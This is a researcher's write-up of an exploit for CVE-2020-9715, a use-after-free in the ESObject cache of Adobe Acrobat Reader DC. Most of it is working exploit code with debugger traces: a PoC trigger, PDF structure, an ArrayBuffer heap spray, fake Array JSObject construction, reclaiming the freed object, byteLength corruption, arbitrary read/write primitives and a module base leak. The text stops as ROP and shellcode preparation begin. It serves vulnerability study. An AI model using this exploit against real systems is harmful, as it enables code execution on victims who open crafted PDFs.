CVE-2020-9715: Exploiting the Adobe ESObject Use-After-Free Vulnerability


CVE-2020-9715 is a use-after-free vulnerability of the ESObject object that was reported via the Zero Day Initiative and patched in Adobe Security Bulletin APSB20-48. ZDI had released an analysis of this vulnerability and also outlined the exploit strategy.

In this 13-months-late write-up, we discuss the actual steps that we used to develop the exploit as a fun exercise.

This vulnerability was submited to ZDI by Mark Vincent Yason (@MarkYason).

This exploit was developed and tested on Adobe Acrobat Reader DC 2020.009.20074.


The detailed description of the bug can be found in the ZDI blog [1], and the analysis is done on Adobe Reader DC Continuous 2020.009.20063.

The PoC is as below:

function triggerUAF() { 
    // cause an access to the freed Data ESObject in the object cache 

function poc() { 
    // creating a Data ESObject to be stored in the object cache 

    // Remove reference to Data ESObject, address still in the object cache 
    this.dataObjects[0] = null; 

    // Trigger a GC which will free the Data ESObject then trigger the UAF 
    g_timeout = app.setTimeOut("triggerUAF()", 1000); 


The this.dataObjects[0].toString() call creates a Data ESObject, and the pointer to this ESObject is stored in an object cache. With the subsequent calls to this.dataObjects[0] = null and invoking GC via app.setTimeOut(), the JS engine would free the ESObject and remove the reference from the object cache. The following crash can then be triggered with the this.dataObjects[0].toString() call:

(1e00.1cf0): Access violation - code c0000005 (first chance)
eax=3ad18fb8 ebx=00000001 ecx=57166ff0 edx=04300000 esi=57166ff0 edi=5943cff8
eip=7c33d445 esp=032fe31c ebp=032fe320 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
7c33d445 8b4004          mov     eax,dword ptr [eax+4] ds:0023:3ad18fbc=????????

0:000> !heap -p -a eax
    address 3a50efb8 found in
    _DPH_HEAP_ROOT @ 731000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    3a530e04:         3a50e000             2000
    5843adc2 verifier!AVrfDebugPageHeapFree+0x000000c2
    779299e3 ntdll!RtlDebugFreeHeap+0x0000003e
    7786fabe ntdll!RtlpFreeHeap+0x000000ce
    7786f986 ntdll!RtlpFreeHeapInternal+0x00000146
    7786f3de ntdll!RtlFreeHeap+0x0000003e
    751fe58b ucrtbase!_free_base+0x0000001b
    751fe558 ucrtbase!free+0x00000018
    796e6969 AcroRd32!AcroWinMainSandbox+0x00007529
    77a9cd9a EScript!double_conversion::DoubleToStringConverter

Note that the blog has outline the triggering JavaScript but not the PDF, one additional step we did is to create a PDF that contains an embedded file following the PDF specification:

1 0 obj 
  /Outlines 2 0 R 
  /Pages 3 0 R 
  /OpenAction 4 0 R 
  /Names << 
    /EmbeddedFiles << /Names [(test.svg) 7 0 R ] >> 
7 0 obj 
  /Type /Filespec /F (test.svg) 
  /EF <</F 8 0 R >> 
8 0 obj 
<</Type /EmbeddedFile /Subtype /image#2Fsvg+xml /Length 77>>
<?xml version="1.0" standalone="no"?>
<svg><!-- Some SVG goes here --></svg>

Following the ZDI blog and debugging the sample created, we can confirm that the root cause of the stale reference of the ESObject in the object cache is due to use of inconsistent name string type when searching and deleting the object reference. Specifically, the ESObject was added to the cache by calling add_cache_entry() with an ANSI name string "test.svg", but the del_cache_entry() call is using a Unicode version of the string to search and delete the cache entry, resulted in a stale pointer:

ESString (size 0x18): 
int     type       // 1: ANSI, 2: UNICODE 
void*   buffer     // String buffer 
int     len        // Length of the string 
int     max        // Max capacity of the string buffer 
int     unknown 
int     unknown

The following are the key steps:

  1. Add a cache entry for the ESObject
    ; text:00090D96 call    add_cache_entry_90641
    Breakpoint 0 hit
    eax=3ae7eff0 ebx=2e53efc0 ecx=3ae7eff0 edx=00000008 esi=3ae66fe8 edi=3aefafb8
    eip=7b460d96 esp=032fb978 ebp=032fb9b4 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    7b460d96 e8a6f8ffff      call    EScript!double_conversion::DoubleToStringConverter
                                        ::CreateDecimalRepresentation+0x285c1 (7b460641)
    0:000> dd edi l12			   ; the ESObject
    3aefafb8  2e53efc0 2ea29ba0 00000000 3afd2fb0
    3aefafc8  00000000 00000000 00000000 00000000
    3aefafd8  00000000 00000000 00000000 00000000
    3aefafe8  00000000 00000000 c0c0c000 00000000
    3aefaff8  00000000 00000000
    0:000> dd esp l2
    032fb978  032fb990 032fb998			; arg_4 is the cache key
    0:000> dd 032fb998 l2				; Cache Key: (PDDoc, Name)
    032fb998  1e75abc0 3b012fe8
    0:000> dd 3b012fe8 l6				; Name: ESString
    3b012fe8  00000001 3b00afe0 00000008 00000020	; ESString.type = 1 for ANSI
    3b012ff8  00000000 00000000
    0:000> db 3b00afe0 l10				; ESString.buffer
    3b00afe0  74 65 73 74 2e 73 76 67-00 00 00 00 00 00 00 00  test.svg........
  2. Delete the cache entry for the ESObject
    Breakpoint 1 hit
    eax=3ae7eff0 ebx=00000001 ecx=3ae7eff0 edx=00000012 esi=54694fe8 edi=3af86fe8
    eip=7b460816 esp=032feb98 ebp=032febc4 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    7b460816 e8e33a0000      call    EScript!double_conversion::DoubleToStringConverter
                                        ::CreateDecimalRepresentation+0x2c27e (7b4642fe)
    0:000> dd esp l1				    ; arg_0 is the cache key
    032feb98  032febac
    0:000> dd 032febac l2			    ; Cache Key: (PDDoc, Name)
    032febac  1e75abc0 52e16fe8
    0:000> dd 52e16fe8 l6				; Name: ESString
    52e16fe8  00000002 57488fe0 00000012 00000020	// ESString.type = 2 for Unicode
    52e16ff8  00000000 00000000
    0:000> db 57488fe0 l20				; ESString.buffer
    57488fe0  fe ff 00 74 00 65 00 73-00 74 00 2e 00 73 00 76  ...t.e.s.t...s.v
    57488ff0  00 67 00 00 00 00 00 00-00 00 00 00 00 00 00 00  .g..............
    Note for both calls, the PDDoc object is the same: 1e75abc0.
  3. The Use-After-Free
    ; bu EScript!mozilla::HashBytes+0x2ce95
    Breakpoint 1 hit
    eax=0979ebb8 ebx=00000001 ecx=09829cb0 edx=00630000 esi=09829cb0 edi=0e2ae1c0
    eip=77a6d445 esp=004fe56c ebp=004fe570 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    77a6d445 8b4004          mov     eax,dword ptr [eax+4] ds:0023:0979ebbc=0f0e0058
    .text:00092AAC                 call    sub_82310       ; this.dataObjects[0]
    .text:00092AB1                 push    eax             ; a freed object returned
    .text:00092AB2                 mov     eax, [ebp+var_10]
    .text:00092AB5                 push    dword ptr [edi+eax*4]
    .text:00092AB8                 call    use_obj_3D430   ; UAF fetching JSObject at [eax+4]
    .text:00092ABD                 mov     eax, [ebp+var_10]
    .text:00092AC0                 add     esp, 2Ch


A brief summary of the steps of exploitation by Mark Yason was also outlined in [1], we have followed most of it by recreating some of the key steps, while some other steps taking alternative approaches following a few public references [2], [3] and [4].

The steps involved in the exploit by Mark Yason are as follows:

  1. Spray a large number of ArrayBuffers so that one of them will likely be corrupted when we perform a write near the chosen address FAKE_ARRAY_JSOBJ_ADDR (later, step 9). Place crafted data into each ArrayBuffer so that at address FAKE_ARRAY_JSOBJ_ADDR there will be a fake JS array object. This fake array will be used when we perform the corruption later in steps 9 and 10.
  2. Create a spray string containing the value FAKE_ARRAY_JSOBJ_ADDR
  3. Prime the LFH for the ESObject size (0x48)
  4. Trigger the creation of a Data ESObject which will be stored in the object cache
  5. Remove the reference to the Data ESObject. Its address remains in the object cache
  6. Trigger garbage collection, which will free the Data ESObject. Nevertheless, its address remains in the object cache
  7. Overwrite the freed Data ESObject with the spray string containing FAKE_ARRAY_JSOBJ_ADDR
  8. Access the freed Data ESObject in the object cache, assigning it into script variable fakeArrObj. Since the memory of the ESObject has been filled with FAKE_ARRAY_JSOBJ_ADDR, this value will be interpreted as the address of the corresponding JsObject. The fake array object presented there (see step 1) is then accessible to script via the variable fakeArrObj
  9. Since fakeArrObj is located at FAKE_ARRAY_JSOBJ_ADDR and one of our sprayed ArrayBuffers is there, we can use fakeArrObj to overwrite an ArrayBuffer's byteLength with 0xFFFFFFFF
  10. Additionally, create an AcroForm text field and set it into an element of fakeArrObj. This writes a pointer to the text field into a location within the ArrayBuffer object. Later, this will be used for leaking the load address of AcroForm.api
  11. Locate the corrupted ArrayBuffer among the ArrayBuffers that were created step 1
  12. Prepare a DataView corresponding to the corrupted ArrayBuffer. This will be used for the read/write primitive
  13. Prepare ROP chains and shellcode
  14. Code execution: execute the ROP gadget via JSObject::setGeneric()

We implement the steps in roughly two stages, the memory layout setup and triggering of vulnerability in the JavaScript function poc(), which covers step (1) - (5), then invoke GC using app.setTimeOut(), upon the time out, triggers the remaining steps (7) - (14).

The general idea of the exploit is to spray a lot of ArrayBuffer objects of size 0x10000, and the content of each ArrayBuffer is set with data constructions that are needed for the exploit, in this way, because the data buffer of the ArrayBuffer would appear at the addresses in the form of 0x????0048+0x10, we get access to the necessary data constructions.

The core of the exploit lies in the following steps:

  1. Craft fake Array objects so that one lands at fixed address FAKE_ARRAY_JSOBJ_ADDR, e.g., 0x14000058.
  2. Use the freed ESObject as a powerful JSObject primitive: having access to a JSObject at an arbitrary address. By gaining control of the freed ESObject we can set arbitrary value to the pointer field of the corresponding JSObject.
  3. Retrieve the controlled JSObject pointer by fakeArrObj = this.dataObjects[0]. With this fake Array JSObject, we gain the ability to access the same area of buffer from both Array and DataView interface.
  4. With the dual access capability we can achieve global read and write, specifically, to be able to corrupt the byteLength field of the subsequent ArrayBuffer object; and by storing JavaScript object using array element assignment we can leak code pointers using the DataView of the ArrayBuffer object.

Global Setup

The following configurations are used in the final tested exploit:

/ * The ArrayBuffer spray */
var spray_base	= 0x14000048;	// 0x0f0e0048
var spray_len	= 0x10000 - 24;
var spray_size	= 0xd00;
var spray_arr1	= new Array(spray_size);

/* The string spray */
var esobj_str	= null;
var spray_arr2	= new Array(0x40);

esobj_str is used to occupy the freed ESObject with controlled content and spray_arr2 is used to keep the references for occupying the freed ESObject. With reference to [2], we can see how an ESObject and its corresponding JSObject instance are linked:

; at the call to add_cache_entry_90641()
Breakpoint 0 hit
eax=3aa3aff0 ebx=2e32afc0 ecx=3aa3aff0 edx=00000008 esi=3ab16fe8 edi=3a92efb8
eip=77ac0d96 esp=02febb78 ebp=02febbb4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
77ac0d96 e8a6f8ffff      call    EScript!double_conversion::DoubleToStringConverter::
                                    CreateDecimalRepresentation+0x285c1 (77ac0641)

; The 0x48 bytes ESObject
0:000> dd edi l12
3a92efb8  2e32afc0 2e729ba0 00000000 3a8b6fb0  ; 2nd DWORD: JSObject
3a92efc8  00000000 00000000 00000000 00000000
3a92efd8  00000000 00000000 00000000 00000000
3a92efe8  00000000 00000000 c0c0c000 00000000
3a92eff8  00000000 00000000

; 2nd DWORD: associated JSObject (Liu Ke @ HitB [2])
0:000> dd 2e729ba0 
2e729ba0  2e7b0700 2e725be0 00000000 77ca5528
2e729bb0  3a92efb8 00000000 00000000 00000000
;         --------
;            |--> points back to ESObject

To control the JSObject pointer in ESObject object, we just need a spray string esobj_str of 0x48 bytes that has a controlled value at the 2nd DWORD.

The first heap spray places controlled data at predictable address using ArrayBuffer objects, once earlier disclosure of the technique was the In-the-Wild exploit for Adobe Reader CVE-2018-4990. It is done with the following:

for(i = 0; i < spray_size; i ++)
    spray_arr1[i] = new ArrayBuffer(0x10000 - 24);

which would layout ArrayBuffer objects of byteLength 0xffe8, with 8 bytes of heap header and 0x10 bytes header, they are 0x10000 byte chunks and most of them would be aligned at addresses with a fixed lower word such as 0x????0048:

0:000> dd 0f0e0040
0f0e0040  26125a1f 0834b8ea 00000000 0000ffe8
0f0e0050  08de38c8 00000000 00000000 00000000

We can then proceed to constructing a fake Array JSObject with its property table and elements array header inside the 0xffe8 bytes of data buffer for each ArrayBuffer objects.

  1. Constructing fake Array JSObject in ArrayBuffer sprays

    At the time of writing this technique does not seem to be publicly known, despite the mention in the ZDI blog post. It sounds like a very powerful tool when we've got a JSObject primitive, i.e., attacker has control over a dangling reference from JS engine and the object memory can be fully controlled.

    A somewhat similar technique was first seen used in the Tianfu Cup 2019 exploit [4] by @b1t (Phan Thanh Duy). In this PoC there is a stale reference to a freed Sound object, by allocating and freeing an Array JSObject into the freed memory, he can flush the memory to have Array JSObject headers and basic structures, yet having a JSObject reference pointing to this freed memory. Meanwhile by allocating a TypedArray object into the _elements buffer of the freed Array JSObject, he gets another reference to the Array _elements buffer. In this way the _elements buffer can now be read / write accessed using both the Array or the TypedArray reference, this can then be turned into relative and arbitrary read / write capabilities.

    The sketch of this exploit of CVE-2020-9715 by ZDI is alike but of a different setup. First, we already have read and write access to the memory with the associated DataView object of the ArrayBuffer. Second we can not allocate an Array JSObject into the memory that's already occupied by ArrayBuffer, so the missing step is to establish read and write access by crafting an Array JSObject from scratch. It is not clear whether this is the original technique in Mark Yason's exploit, but does seem to be the least complex way since it's the only missing step: with a fake Array JSObject, we can assign the address to fakeArrObj and the rest of the steps would match perfectly to the sketch in ZDI blog.

    Due to the version differences of the SpiderMonkey JavaScript engine used in Adobe Reader DC and other public versions such as FireFox, and a lack of documentation and public symbols, we do not have the exact mapping of the data structures for the Array JSObject. Therefore the construction of fake Array JSObject was trial-and-error based on debugging, with a few references including the source code of Adobe Reader JS engine and the dissection of FireFox SpiderMonkey by @argp in [3].

    The Array JSObject has a 0x10 bytes header:

    0:000> dd 0f0e0040
    0f0e0040  26125a1f 0834b8ea 00000000 0000ffe8
    0f0e0050  08de38c8 00000000 00000000 00000000

    The field elements_ points to the body of the array, and the body has a 0x10 bytes header right before the elements_ pointer. This is either continuous to the Array JSObject header, or being reallocated to a different area. We can observe this from the array spray_arr2[], of esobj_str strings which (for now) is made up of the following pattern: "\xc0\xc0\xc0\xc0\x58\x00\x0e\x0f". This is when we test step 2 and 7 with the JSObject pointer at 0x0f0e0058 with the following test code:

    var spray_arr2	= new Array(40);
    esobj_str = unescape("%uc0c0%uc0c0%u0058%u0f0e");	// from spray_base + 0x10
    while (esobj_str.length < 0x40) {
        esobj_str += esobj_str;
    for(i = 0x12; i < 0x50; i ++)
        spray_arr2[i] = esobj_str.substring(0, 0x48/2-1).toUpperCase();

    We can then use the debugger and references to find out how to construct a fake array JSObjectcode>:

    spray we search the string backwards to locate the Array JSObject:
    0:000> s 0 l?0xffffffff c0 c0 c0 c0 58 00 0e 0f 
    09f2b400  c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f  ....X.......X...
    09f2b408  c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f  ....X.......X...
    09f2b410  c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 00 00  ....X.......X...
    09f2b428  c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f  ....X.......X...
    09f2b430  c0 c0 c0 c0 58 00 0e 0f-c0 c0 c0 c0 58 00 0e 0f  ....X.......X...
    ; pick one that is 0x48 bytes
    0:000> !heap -p -a 09f2b400  
        address 09f2b400 found in
        _HEAP @ 3020000
            HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
            09f2b3d0 000a 0000  [00]   09f2b3d8    00048 - (busy)
    ; search the UserPtr to locate the string
    0:000> s 0 l?0xffffffff d8 b3 f2 09
    095ee134  d8 b3 f2 09 00 00 00 00-00 00 00 00 34 00 00 00  ............4...
    ; the string 'descriptor' is at 095ee130
    0:000> dd 095ee130 - 10 l 0xc
    095ee120  00000232 09e9fb20 0000003f 00000000
    095ee130  00000234 09f2b3d8 00000000 00000000
    095ee140  00000034 095ee148 c0c0c0c0 00000058
    ; search the string object to locate spray_arr2[] elements_ buffer
    0:000> s 0 l?0xffffffff 30 e1 5e 09
    09cdd6e8  30 e1 5e 09 85 ff ff ff-60 e1 5e 09 85 ff ff ff  0.^.....`.^.....
    09d8bc58  30 e1 5e 09 85 ff ff ff-60 e1 5e 09 85 ff ff ff  0.^.....`.^.....
    ; the first result is the freed buffer of 0x10 elements, capacity 0x28
    0:000> !heap -p -a 09cdd6e8  
        address 09cdd6e8 found in
        _HEAP @ 3020000
            HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
            09cdd680 0013 0000  [00]   09cdd688    00090 - (free)
    0:000> dd 09cdd688  l30
    09cdd688  00000000 00000010 00000010 00000028
    09cdd698  0959ff40 ffffff85 0959ff70 ffffff85
    09cdd6a8  0959ffa0 ffffff85 0959ffd0 ffffff85
    09cdd6b8  095ee010 ffffff85 095ee040 ffffff85
    ; the second result is the reallocation triggered by 10-th string
    0:000> !heap -p -a 09d8bc58  
        address 09d8bc58 found in
        _HEAP @ 3020000
            HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
            09d8bbf0 0023 0000  [00]   09d8bbf8    00110 - (busy)
    0:000> dd 09d8bbf8  l40
    09d8bbf8  00000000 00000028 00000040 00000028
    09d8bc08  0959ff40 ffffff85 0959ff70 ffffff85
    09d8bc18  0959ffa0 ffffff85 0959ffd0 ffffff85
    09d8bc28  095ee010 ffffff85 095ee040 ffffff85
    09d8bc38  095ee070 ffffff85 095ee0a0 ffffff85
    09d8bc48  095ee0d0 ffffff85 095ee100 ffffff85
    09d8bc58  095ee130 ffffff85 095ee160 ffffff85
    ; We've found the array elements_ buffer at 09d8bbf8

    From [3], we can map the fields to the Array JSObject header and the elements_ buffer prepended header:

    ; js::HeapPtrShape	    shape_;
    ; js::HeapPtrTypeObject	type_;
    ; js::HeapSlot	       *slots_;
    ; js::HeapSlot	       *elements_;
            shape_   type_    slots_   elements_ 
        +0x00 ........ ........ 00000000 0d0e004c
            flags    initLen  capacity length 
        +0x10 00000000 00000012 00000020 00000028

    However, with a simplistic construction with both shape_ and type_ set to null, assigning the pointer to fakeArrObj does not lead to a recognized JavaScript object. From the source code of Adobe Reader SpiderMonkey we can find some similarities to the runtime data but does not lead to a complete match:

    struct JSObject {
        JSObjectMap *map;
        jsval       *slots;
    struct JSObjectMap {
        jsrefcount  nrefs;          /* count of all referencing objects */
        JSObjectOps *ops;           /* high level object operation vtable */
        uint32      nslots;         /* length of obj->slots vector */
        uint32      freeslot;       /* index of next free obj->slots element */

    As now, we can confirm the 3rd DWORD in Array JSObject is normally 0, and the 4th DWORD is the pointer elements_. And there's no such data structures shape_ and type_ in Adobe source. We denote the first two DWORD as dw0 and dw1.

    ; Repeating the steps we can get the Array JSObject header
    ; spray_str -> str obj -> array -> elements -> metadata -> shape_:
    0:000> dd 0aaafd30
    0aaafd30  0aa85d18 0aa25960 00000000 0b3e26b8  ; elements_: 0b3e26b8
    0aaafd40  00000000 00000000 00000000 00000000
    ; with dw0 = 0aa85d18, and dw1 = 0aa25960
    0:000> dd 0aa85d18 
    0aa85d18  0aa3f420 0a812580 07ffffff 00000044
    ; 1st DW of dw0 is a pointer to "Array"
    0:000> dd 0aa3f420 l4
    0aa3f420  79c017f0 0aa28090 00000000 0a3548f0
    ; 2nd DW of dw0 is a table of 0x20 bytes records {len, &wcstr, wcstr}:
    ; there's a total of 0xd4 records, looks like a global map of properties
    0a812580 68 00 00 00 88 25 81 0a 6c 00 65 00 6e 00 67 00  h....%..l.e.n.g.
    0a812590 74 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00  t.h.............
    0a8125a0 48 00 00 00 a8 25 81 0a 6c 00 69 00 6e 00 65 00  H....%..l.i.n.e.
    0a8125b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
    0a8125c0 a8 00 00 00 c8 25 81 0a 6c 00 69 00 6e 00 65 00  .....%..l.i.n.e.
    0a8125d0 4e 00 75 00 6d 00 62 00 65 00 72 00 00 00 00 00  N.u.m.b.e.r.....
    0a813fc0 b8 00 00 00 c8 3f 81 0a 67 00 65 00 74 00 55 00  .....?..g.e.t.U.
    0a813fd0 54 00 43 00 4d 00 6f 00 6e 00 74 00 68 00 00 00  T.C.M.o.n.t.h...
    0a813fe0 78 00 00 00 e8 3f 81 0a 67 00 65 00 74 00 44 00  x....?..g.e.t.D.
    0a813ff0 61 00 74 00 65 00 00 00 00 00 00 00 00 00 00 00  a.t.e...........
    ; dw1 does look like it's related to type_:
    0:000> dd 0aa25960 
    0aa25960  79c017f0 0aa2d040 00000000 80ff0008	; 1st DW: pp to "Array"
    0aa25970  00000000 00000000 00000000 00000000
    0aa25980  0aa25a80 0aa25a80 00000000 80ff0008
    0aa25990  00000000 00000000 00000000 00000000
    0aa259a0  0a2c5780 0aa2a010 00000000 80ff0008
    0aa259b0  00000000 00000000 00000000 00000000
    ; 1st dword of dw1: ptr to "Array":
    0:000> db poi(79c017f0) l8
    79b42688  41 72 72 61 79 00 00 00                          Array...

    By repeated trial and error with step 2-8 implemented, we eventually arrive at a construction that gives a valid JSObject confirmed by the following:

    console.println("[+] fakeArrObj constructed. Type: " + typeof(fakeArrObj));

    The old offset used for FAKE_ARRAY_JSOBJ_ADDR was 0x0f0e0058, in subsequent test we changed it to 0x14000048 for better reliability. The property table has only one entry for "length" and there are a few hacks to make the code goes through. We arrange the elements_ buffer near the end of the ArrayBuffer to corrupt the next ArrayBuffer byteLength field. The completed spray and construction as below:

    function poc()  	// Test on: 2020.009.20063 / 20074
        /* 1. Spray many ArrayBuffer, each with a fake ArrayObject (array JSObject) */
        var ab_base = spray_base + 0x10;          // 0x0f0e0058: aka FAKE_ARRAY_JSOBJ_ADDR
        for(i = 0; i < spray_size; i ++) 
        spray_arr1[i] = new ArrayBuffer(0x10000 - 24);
        var dv = new DataView(spray_arr1[i]);
        /*	     dw0      dw1      dw2      elements_ 
            * +0x00 ........ ........ 00000000 0f0f0038
        dv.setUint32(  0x00, ab_base +   0x48, true);	// 0x0f0e0058: 0x0f0e00a0 dw0
        dv.setUint32(  0x04, ab_base +   0x68, true);	// 0x0f0e005c: 0x0f0e00c0 dw1
        dv.setUint32(  0x0c, ab_base + 0xffe0, true);	// 0x0f0e0064: 0x0f0f0038 elem_
        // craft dw0
        dv.setUint32(  0x48, ab_base +   0xa0, true);	// 0x0f0e00a0: 0x0f0e00f8
        dv.setUint32(  0x4c, ab_base +   0xc8, true);	// 0x0f0e00a4: 0x0f0e0120 ppty table
        dv.setUint32(  0x50,       0x07ffffff, true);	// 0x0f0e00a8: const
        dv.setUint32(  0x54,       0x00000044, true);	// 0x0f0e00ac: const
        // 0xe0: "Array", 0xe8: &"Array", 0xec: 6, 0xf8: 0xe8
        dv.setUint32(  0x88,       0x61727241, true);	// 0x0f0e00e0: Str
        dv.setUint32(  0x8c,       0x00000079, true);	// 0x0f0e00e4
        dv.setUint32(  0x90, ab_base +   0x88, true);	// 0x0f0e00e8: 0x0f0e00e0 pStr
        dv.setUint32(  0x94,       0x0000000c, true);	// 0x0f0e00ec
        dv.setUint32(  0xa0, ab_base +   0x90, true);	// 0x0f0e00f8: 0x0f0e00e8 ppStr
        // hack chunk / arena end marking @ 0x0f0ffffc and 0x0f0e0000
        dv.setUint32(0xffa4, ab_base + 0x7fa8, true);	// 0x0f0efffc: 0x0f0e8000
        dv.setUint32(0xffa8, ab_base + 0x7fac, true);	// 0x0f0f0000: 0x0f0e8004
        dv.setUint32(0x7fa8,       0x00000000, true);	// 0x0f0e8000
        dv.setUint32(0x7fac,       0x00000000, true);	// 0x0f0e8004
        // craft dw1
        dv.setUint32(  0x68, ab_base +   0x90, true);	// 0x0f0e00c0: 0x0f0e00e8
        dv.setUint32(  0x6c,       0x00000000, true);	// 0x0f0e00c4 
        dv.setUint32(  0x74,       0x80ff0008, true);	// 0x0f0e00cc: const
        // property table with entry "length"
        dv.setUint32(  0xc8,       0x00000068, true);	// 0x0f0e0120: size
        dv.setUint32(  0xcc, ab_base +   0xd0, true);	// 0x0f0e0124: 0x0f0e0128 addr
        dv.setUint32(  0xd0,       0x0065006c, true);	// 0x0f0e0128: str
        dv.setUint32(  0xd4,       0x0067006e, true);	// 0x0f0e012c
        dv.setUint32(  0xd8,       0x00680074, true);	// 0x0f0e0130
        // craft marker
        dv.setUint32(0xffe0,       0x11224433, true);	// 0x0f0f0038
        dv.setUint32(0xffe4,       0xffffff81, true);	// 0x0f0f003c
        /*       flags    initLen  capacity length 
            * +0x10 00000000 00000028 00000040 00000028
        var _elem_offset = 0x0f0f0038 - 0x0f0e0058;
        dv.setUint32(_elem_offset - 0xC, 0x28, true);	// initLen
        dv.setUint32(_elem_offset - 0x8, 0x40, true);	// capacity
        dv.setUint32(_elem_offset - 0x4, 0x28, true);	// length
        delete dv;

    Due to EScript code in checking SpiderMonkey chunk and arena end markings, we've added code to work around by setting valid pointers to the chunk / arena end marking @ 0x0f0ffffc and 0x0f0e0000, the data at these pointers should be 0.

    We've also added markers to the fake Array JSObject to confirm the successful construction in step 8.

  2. Create a spray string containing the value FAKE_ARRAY_JSOBJ_ADDR

    The esobj_str string only needs to have the crafted JSObject pointer at the 2nd DWORD of the ESObject.

    esobj_str = unescape("%uc0c0%uc0c0%u0058%u1400");	// from spray_base + 0x10
    while (esobj_str.length < 0x40) {
        esobj_str += esobj_str;
  3. Prime the LFH for the ESObject size (0x48)

    Activate the LFH for size 0x48 so that in step 4 the ESObject created will be in LFH. Note that static JS strings do not reside in the process heap. But the trick from [5] allow us to create a copy of the string via heap allocation by calling either toLowerCase() or toUpperCase(), one of which that does not alter the pointer value coded into esobj_str.

    /* 3. Prime the LFH for ESObject size (0x48) */
    for(var i = 0; i < 0x12; i ++)
        spray_arr2[i] = esobj_str.substring(0, 0x48/2-1).toUpperCase();
  4. Trigger ESObject creation to be stored in the Object Cache
    /* 4. Trigger creation of a Data ESObject to store in object cache */
  5. Remove reference to Data ESObject
    /* 5.  Remove reference to the Data ESObject, address still in object cache */ 
    this.dataObjects[0] = null;
  6. Trigger GC to free the ESObject

    After testing a much smaller timeout value than earlier used could improve the reliability to near 100%.

    /* 6. Trigger GC to free the Data ESObject (address is still in the object cache) */
    g_timeout = app.setTimeOut("afterGC()", 10);
  7. Overwrite the freed ESObject with spray string
    /* 7. Overwrite the freed ESObject with spray string in step 2 */
    for(i = 0x12; i < 0x30; i ++)
        spray_arr2[i] = esobj_str.substring(0, 0x48/2-1).toUpperCase();
  8. Obtain fakeArrObj JSObject reference via array assignment

    This would fetch the JSObject pointer of the ESObject and assign it to the dummy reference fakeArrObj. As long as step 7 is successful, we can expect the crafted Array JSObject right at FAKE_ARRAY_JSOBJ_ADDR and fakeArrObj is no longer null. The Array JSObject type check is confirmed by accessing the first cell to match against the planted marker 0x11224433.

    /* 8. Assign the freed ESObject to fakeArrObj:
    *    - the filled value FAKE_ARRAY_JSOBJ_ADDR interpreted as JSObject
    *    - A fake array object in (1) can now be accessed via fakeArrObj
    fakeArrObj = this.dataObjects[0];
    try {
        if (fakeArrObj != null && fakeArrObj[0] == 0x11224433)
            console.println("[+] fakeArrObj constructed. Type: " + typeof(fakeArrObj));
        else {
            console.println("[-] fakeArrObj: Array JSObject incomplete.");
    catch(e) { 
        handleExcp(e, 6); 
  9. Use fake Array to overwrite ArrayBuffer byteLength

    Recall in step 1 that _elem_offset = 0x0f0f0038 - 0x0f0e0058; The first cell of the Array would start from offset 0xFFE0 at the end of current ArrayBuffer, 0x14000038 in our case. This would write the pair (0, 0xFFFFFF81) after 0x10 bytes, right at the 1st and 2nd DWORD in the ArrayBuffer header. The 1st DWORD is always 0 so left untouched, and the byteLength field is changed to 0xFFFFFF81. Effectively giving us global read and write capability with just one overwrite.

    /* 9. Use fakeArrObj to overwrite the ArrayBuffer's byteLength */
    fakeArrObj[2] = 0;
  10. Leak AcroForm.api base

    After trial and error, we can leak AcroForm.api base from an XMLNode object, by assigning the object to a cell of the fake Array, to later read the pointer out with our global read primitive, as the code below:

    /* 10. Create a Field object as an element of fakeArrObj:
    *    - This stores a pointer to the Field object into ArrayBuffer
    *    - Later to leak AcroForm.api base from this pointer
    var oNodes = XMLData.parse("<a></a>", false);	 // AB[0,1] = (ptr,0xffffff87)
    fakeArrObj[4] = oNodes;
    var field1 = this.getField("Field1");
    fakeArrObj[6] = field1;

    We've also assigned a TextField object into fakeArrObj[6] in order to execute shellcode later.

  11. Locate corrupted ArrayBuffer

    With the byteLength field being corrupted, we can find the ArrayBuffer in the spray array.

    /* 11. Locate the corrupted ArrayBuffer */
    for(var i = 0; i <spray_size; i ++)
        if (spray_arr1[i].byteLength != 0xffe8)
        console.println("[+] R/W ArrayBuffer: byteLen = " + 
                            spray_arr1[i].byteLength + ", index = " + i);
    if (i == spray_size) {
        console.println("[-] Corrupted ArrayBuffer not found.");
  12. Prepare a DataView object to build AAR/AAW primitive
    /* 12. Prepare a DataView for the ArrayBuffer (11) to build AAR/AAW primitive */
    g_DV = new DataView(spray_arr1[i]);

    We can now use this ArrayBuffer to create global read / write primitives:

    /* global R/W */
    var g_DV = null;
    var g_base = spray_base + 0x10000 + 0x10;
    var arr_elem = g_base - 0x20;
    function g_read(addr) {
        return g_DV.getUint32((0x100000000 + addr - g_base) & 0xffffffff, true);
    function g_write(addr, val) {
        g_DV.setUint32((0x100000000 + addr - g_base) & 0xffffffff, val, true);

    A first application is to leak EScript.api base by reading the vftable of the DataViewcode> object:

    var escript_base = g_read(g_read(spray_base + 8) + 0xc) - 0x275528;	// 0x0f0e0048
    console.println("[+] EScript.api: 0x" + escript_base.toString(16));
  13. Prepare ROP chain and shellcode

    For this part we've referenced heavily to [4], and reused a good part of the code from it. It is similar that most modules in Adobe Reader DC now has CFI enabled, so simply replacing a vftable pointer to kick start shellcode would not work, such as the old bookmarkRoot trick used in CVE-2018-4990:

